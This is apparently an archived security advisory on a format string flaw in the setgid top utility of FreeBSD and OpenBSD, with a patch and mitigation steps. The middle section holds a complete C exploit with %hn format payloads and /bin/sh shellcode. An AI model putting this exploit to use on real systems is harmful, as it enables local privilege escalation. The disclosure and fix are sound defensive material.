COMMAND

    top

SYSTEMS AFFECTED

    OpenBSD, FreeBSD

PROBLEM

    Following is based on a FreeBSD-SA-00:62 Security Advisory and  it
    was originally found by  vort via OpenBSD.   top is a utility  for
    displaying current system resource statistics such as process  CPU
    and memory use.  It is externally-maintained, contributed software
    which is included in *BSD by default.

    A  "format  string  vulnerability"  was  discovered  in the top(1)
    utility which  allows unprivileged  local users  to cause  the top
    process to  execute arbitrary  code.   The top  utility runs  with
    increased privileges as a member  of the kmem group, which  allows
    it to read from  kernel memory (but not  write to it).   A process
    with the ability to read from kernel memory can monitor privileged
    data such as network traffic, disk buffers and terminal  activity,
    and may be able to  leverage this to obtain further  privileges on
    the local system or on other systems, including root privileges.

    All  released  versions  of  FreeBSD  prior to the correction date
    including  4.0,  4.1,  4.1.1  and  3.5.1  are  vulnerable  to this
    problem, but it was fixed in the 4.1.1-STABLE branch prior to  the
    release of FreeBSD  4.2-RELEASE.  This  has been fixed  in OpenBSD
    2.7 is some patch.

    Local users can read privileged data from kernel memory which  may
    provide information allowing them to further increase their  local
    or remote system access privileges.

    /*
     * freebsd x86 top exploit
     * affected under top-3.5beta9 ( including this version )
     *
     * 1. get the address of .dtors from /usr/bin/top using objdump ,
     *
     *  'objdump -s -j .dtors /usr/bin/top'
     *
     * 2. divide it into four parts, and set it up into an environment variable like "XSEO="
     *
     * 3. run top, then find "your parted addresses from "kill" or "renice" command like this
     *
     *  'k %200$p' or 'r 2000 %200$p'
     *
     * 4. do exploit !
     *
     *  'k %190u%230$hn' <== 0xbf (4)
     *  'k %190u%229$hn' <== 0xbf (3)
     *  'k %214u%228$hn' <== 0xd7 (2)
     *  'k %118u%227$hn' <== 0x77 (1)
     *
     * truefinder , seo@igrus.inha.ac.kr
     * thx  mat, labman, zen-parse
     *
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    #define NOP 0x90
    #define BUFSIZE 2048
    
    char fmt[]=
    "XSEO="
    /* you would meet above things from 'k %200$p', it's confirming strings*/
    "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
    /* .dtors's address in BSD*/
    "\x08\xff\x04\x08"
    "\x09\xff\x04\x08"
    "\x0a\xff\x04\x08"
    "\x0b\xff\x04\x08"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    
    /* might shellcode be located 0xbfbfd6? ~ 0xbfbfde? */
    
    char sc[]=
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
    "\xb0\x3b\x50\xcd\x80"; /* bigwaks 23 bytes shellcode */
    
    int
    main(void)
    {
            char scbuf[BUFSIZE];
            char *scp;
    
            scp = (char*)scbuf;
            memset( scbuf, NOP, BUFSIZE );
    
            scp += ( BUFSIZE - strlen(sc) - 1);
            memcpy( scp, sc ,strlen(sc));
    
            scbuf[ BUFSIZE - 1] = '\0';
    
            memcpy( scbuf, "EGG=", 4);
    
            putenv(fmt);
            putenv(scbuf);
    
            system("/bin/bash");
    }

SOLUTION

    Remove  the  setgid  bit  on  the  top  utilities.   This  has the
    side-effect that users who are not  a member of the kmem group  or
    who are not the superuser cannot use the top utility.

    For FreeBSD:

        1) Upgrade your vulnerable  FreeBSD system to 4.1.1-STABLE  or
           3.5.1-STABLE   after   the   respective   correction  dates
           2000/10/04 (FreeBSD  4.1.1-STABLE) and  2000/10/04 (FreeBSD
           3.5.1-STABLE)
        2) Apply the patch below and recompile the relevant files:

    # cd /usr/src/contrib/top
    # patch -p < /path/to/patch_or_advisory
    # cd /usr/src/usr.bin/top
    # make depend && make all install

    Index: display.c
    ===================================================================
    RCS file: /mnt/ncvs/src/contrib/top/display.c,v
    retrieving revision 1.4
    retrieving revision 1.5
    diff -u -r1.4 -r1.5
    --- display.c	1999/01/09 20:20:33	1.4
    +++ display.c	2000/10/04 23:34:16	1.5
    @@ -829,7 +831,7 @@
         register int i;

         /* first, format the message */
    -    (void) sprintf(next_msg, msgfmt, a1, a2, a3);
    +    (void) snprintf(next_msg, sizeof(next_msg), msgfmt, a1, a2, a3);

         if (msglen > 0)
         {
    Index: top.c
    ===================================================================
    RCS file: /mnt/ncvs/src/contrib/top/top.c,v
    retrieving revision 1.4
    retrieving revision 1.5
    diff -u -r1.4 -r1.5
    --- top.c	1999/01/09 20:20:34	1.4
    +++ top.c	2000/10/04 23:34:16	1.5
    @@ -807,7 +809,7 @@
 				    {
 				        if ((errmsg = kill_procs(tempbuf2)) != NULL)
 				        {
    -					new_message(MT_standout, errmsg);
    +					new_message(MT_standout, "%s", errmsg);
 					    putchar('\r');
 					    no_command = Yes;
 				        }
    Index: top.c
    ===================================================================
    RCS file: /mnt/ncvs/src/contrib/top/top.c,v
    retrieving revision 1.5
    retrieving revision 1.6
    diff -u -r1.5 -r1.6
    --- top.c	2000/10/04 23:34:16	1.5
    +++ top.c	2000/11/03 22:00:10	1.6
    @@ -826,7 +826,7 @@
 				    {
 				        if ((errmsg = renice_procs(tempbuf2)) != NULL)
 				        {
    -					new_message(MT_standout, errmsg);
    +					new_message(MT_standout, "%s", errmsg);
 					    putchar('\r');
 					    no_command = Yes;
 				        }